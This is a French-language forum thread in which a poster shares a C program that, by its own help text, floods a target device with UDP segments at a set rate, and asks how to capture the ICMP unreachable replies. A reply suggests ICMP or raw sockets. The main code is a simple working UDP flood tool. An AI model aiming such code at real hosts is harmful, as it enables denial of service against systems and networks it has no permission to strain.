Réponse UDP

Bonjour à tous !

Voilà, pour un programme j’ai besoin d’envoyer du traffic UDP (sa marche bien) qui engendrerai des réponses me permettant de les compter (les réponses).

Un première approche consistait à envoyer des messages UDP sur un port pas à l’écoute. De ce fait l’hote distant me renvoi une trame ICMP code 3 (Destination unreachable) : toutefois je ne parvient pas à lire ces messages ICMP via mon programme, si vous avez une solution.

Si vous avez une autre idée pour engendrer une réponse ? Ou si vous savez comment lire les retour ICMP en C ?

Voici mon prog :

[code]#include <sys/socket.h>

#include <netinet/in.h>

#include <string.h>

#include <stdio.h>

#include <stdlib.h>

#include <signal.h>

#include <arpa/inet.h>

#include <netdb.h>

#include <unistd.h>

#include <math.h>

#include <time.h>

#define PORT 443

#define TAILLE 1400

void warning(char* message)//***Avertissement d’une erreur

{

printf("Erreur %s\n",message);

perror("Message d'erreur: ");

exit(1);

}

int torpille_udp (int broadcast)//***Créer un socket UDP

{

int sock;

if ((sock = socket (AF_INET, SOCK_DGRAM, 0)) < 0) {

warning ("création torpille");

return (-1);

}

setsockopt(sock,SOL_SOCKET,SO_BROADCAST, &broadcast,sizeof(broadcast));

return (sock);

}

void help()//***Aide à l’utilisation

{

printf(“Flood [-a destination] [-p port] [-d debit] [-h] [destination]\n”);

printf(“Programme permettant le flood d’un équipement par l’envoi massif de segments UDP\n”);

exit(2);

}

int main(int argc,char** argv)

{

int torpille, j = 0, i = 0, octetSend = 0, octetRecv = 0;

double debit = 0;

struct sockaddr_in adresse, source, msgSource;

struct hostent * hostent = NULL;

struct protoent * protoent = NULL;

char *hote = NULL, msg[500] = {0};

int prt = PORT;

int option;

while ((option = getopt(argc,argv,“d:p:a:h”)) != -1) {

switch(option) {

case 'a':

  hote = optarg;

  break;

case 'p':

  sscanf(optarg,"%d",&prt);

  break;

case 'd':

sscanf(optarg,"%lf",&debit);

j = (int)(debit / TAILLE);	

break;

case 'h':

case '?':

default:

  help();

  break;

}

}

if ((hote == NULL) && (optind < argc)) hote = argv[optind];

if (hote == NULL) help();

if (debit == 0) help();

torpille = torpille_udp(1);

if (hote != NULL)

if ((hostent = gethostbyname (hote)) == NULL) {

  warning ("gethostbyname");

  return (-1);

}

if ((protoent = getprotobyname (“udp”)) == NULL) {

warning ("getprotobyname");

return (-1);

}

memset (&adresse, 0, sizeof (struct sockaddr_in));

memset (&source, 0, sizeof (struct sockaddr_in));

memset (&msgSource, 0, sizeof (struct sockaddr_in));

adresse.sin_family = AF_INET;

if (prt != 0)

adresse.sin_port = htons(prt);

else

adresse.sin_port = htons (PORT);

if (hostent != NULL)

adresse.sin_addr . s_addr = ((struct in_addr *) (hostent -> h_addr)) -> s_addr;

else

warning("pas de destinataire");

source.sin_family = AF_INET;

source.sin_port = htons(40500);

source.sin_addr . s_addr = INADDR_ANY;

if (bind(torpille, (struct sockaddr*)&source, sizeof(source)) < 0)

warning("Bind");

printf("***************************************\n");

printf("* Flood UDP *\n");

printf("***************************************\n\n");

printf(“Envoi de segments UDP en direction de %s:%d …\n\n”, hote, prt);

while (1)

{

octetSend = 0;

octetRecv = 0;

for (i = 0; i < j; i++)

{	

octetSend += sendto(torpille,"Torpillage",TAILLE,0,(struct sockaddr *) &adresse,sizeof (struct sockaddr_in));

}



if ((int)(octetSend / 1000000) >= 1)

{

	printf("Debit envoye : %.3lf Mbps (Total segments : %d)\n", (double)octetSend/1000000, j);

}

else if ((int)(octetSend / 1000) >= 1)

{

	printf("Debit envoye : %.3lf Kbps (Total segments : %d)\n", (double)octetSend/1000, j);

}

else

	printf("Debit envoye : %d bps (Total segments : %d)\n", octetSend, j);



usleep(1000000);

while ((i = recvfrom(torpille, msg, 50, 0, (struct sockaddr *) &msgSource, (int*) sizeof(msgSource))) > 0)

{

	printf("Nombre d'octets capturés : %d", i);

}   

printf("valeur de i = %d\n", i);

}

close(torpille);

exit(0);

}
[/code]

up :stuck_out_tongue:

Salut,

Le truc c’est que tu utilises des sockets standards, et que tu déclares la socket en udp, donc elle ne captera que les réponses UDP… Tu pourrais essayer d’en déclarer une autre en IPPROTO_ICMP, mais je n’ai jamais vraiment testé. Pour ce genre de choses, je trouve ça beaucoup plus judicieux d’utiliser les RAW SOCKET , même si c’est quelque plus complexe.
Par contre ça te permettrait aussi de pouvoir modifier tes paquets, ou encore de sophistiquer ton progamme.
a+

Thib